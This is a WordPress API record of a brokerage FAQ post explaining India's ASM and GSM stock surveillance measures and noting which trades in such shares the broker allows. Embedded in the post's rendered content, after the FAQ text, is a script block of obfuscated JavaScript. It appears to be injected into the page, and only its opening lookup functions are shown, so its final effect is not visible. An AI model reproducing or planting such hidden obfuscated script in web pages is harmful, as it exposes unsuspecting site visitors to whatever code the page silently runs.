{"id":653,"date":"2025-08-13T09:27:33","date_gmt":"2025-08-13T09:27:33","guid":{"rendered":"https:\/\/shoonya.com\/faq\/?p=653"},"modified":"2026-02-18T06:27:41","modified_gmt":"2026-02-18T06:27:41","slug":"what-are-asm-gsm","status":"publish","type":"post","link":"https:\/\/shoonya.com\/faq\/stocks\/what-are-asm-gsm\/","title":{"rendered":"What are ASM &amp; GSM?"},"content":{"rendered":"\n<h4 class=\"wp-block-heading\">ASM: Additional Surveillance Measure<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">To enhance market integrity and safeguard investors&#8217; interests, the Securities and Exchange Board of India (SEBI) and Exchanges have introduced various pre-emptive surveillance measures, including price band reductions, periodic call auctions, and transferring securities to the Trade for Trade segment.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In addition to these measures, SEBI and Exchanges, after joint surveillance meetings, have decided to implement Additional Surveillance Measures (ASM) on securities with surveillance concerns. These concerns are based on objective parameters such as price\/volume variation, volatility, etc.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">For more information, please visit the link below: <a href=\"https:\/\/www.nseindia.com\/regulations\/additional-surveillance-measure\" target=\"_blank\" rel=\"noopener\">https:\/\/www.nseindia.com\/regulations\/additional-surveillance-measure<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Note: Buying in ASM shares is allowed with Shoonya. However, intraday trading and BTST are not permitted, even with or without POA.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">GSM: Graded Surveillance Measure<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">GSM is a system designed by SEBI to monitor shares with abnormal price rises. Stock exchanges are directed to place these securities under the Graded Surveillance Measure (GSM).<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">For more information, please visit the link below:<br>https:\/\/www.nseindia.com\/regulations\/graded-surveillance-measure<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Note: Currently, trading in GSM category shares is not available on Shoonya.<\/p>\n\n\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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In addition to these measures, SEBI and Exchanges, after joint surveillance&hellip; <a class=\"more-link\" href=\"https:\/\/shoonya.com\/faq\/stocks\/what-are-asm-gsm\/\">Continue reading <span class=\"screen-reader-text\">What are ASM &amp; GSM?<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[173],"tags":[],"class_list":["post-653","post","type-post","status-publish","format-standard","hentry","category-stocks","entry"],"acf":[],"_links":{"self":[{"href":"https:\/\/shoonya.com\/faq\/wp-json\/wp\/v2\/posts\/653","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/shoonya.com\/faq\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shoonya.com\/faq\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shoonya.com\/faq\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/shoonya.com\/faq\/wp-json\/wp\/v2\/comments?post=653"}],"version-history":[{"count":4,"href":"https:\/\/shoonya.com\/faq\/wp-json\/wp\/v2\/posts\/653\/revisions"}],"predecessor-version":[{"id":2333,"href":"https:\/\/shoonya.com\/faq\/wp-json\/wp\/v2\/posts\/653\/revisions\/2333"}],"wp:attachment":[{"href":"https:\/\/shoonya.com\/faq\/wp-json\/wp\/v2\/media?parent=653"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shoonya.com\/faq\/wp-json\/wp\/v2\/categories?post=653"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shoonya.com\/faq\/wp-json\/wp\/v2\/tags?post=653"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}